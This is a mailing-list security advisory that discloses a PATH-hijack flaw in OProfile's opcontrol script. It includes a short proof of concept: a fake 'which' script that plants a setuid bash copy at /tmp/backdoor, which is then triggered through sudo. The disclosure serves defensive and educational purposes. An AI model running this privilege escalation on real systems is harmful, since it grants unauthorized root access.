[UNIX] OProfile Arbitrary Code Execution

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



OProfile Arbitrary Code Execution
------------------------------------------------------------------------


SUMMARY

" <http://oprofile.sourceforge.net/> OProfile is a system-wide profiler
for Linux systems, capable of profiling all running code at low overhead.
OProfile is released under the GNU GPL."

Lack of path validation in the OPcontrol script allows attackers to
execute arbitrary commands.

DETAILS

Vulnerable Systems:
* OProfile version 0.9.1 and prior

At least one of the scripts that ships with this software (OPcontrol) has
a security flaw which enables a user to run arbitrary commands.

The script itself isn't suid root but, to take full advantage of some of
the features the software has, a lot of administrators give 'sudo'
privileges to that script.

Whoever coded the script tried protecting it against executing binaries
out of a safe PATH by defining one on line 1416 of the script:
PATH=/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin

The problem is that this script does not check where the 'which' or
'dirname' binary is executed from (on lines 1413 and 1414).

Proof of Concept:
cat > which
#!/bin/sh
/bin/cp /bin/bash /tmp/backdoor
/bin/chmod 6755 /tmp/backdoor
^C
set PATH="."
/usr/bin/sudo /usr/local/bin/opcontrol

Vendor Status:
The vendor has issued a response: "Do not trust admin privileges to
unaudited code"


ADDITIONAL INFORMATION

The information has been provided by <mailto:lms@xxxxxxxx> Luis Miguel
Silva.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages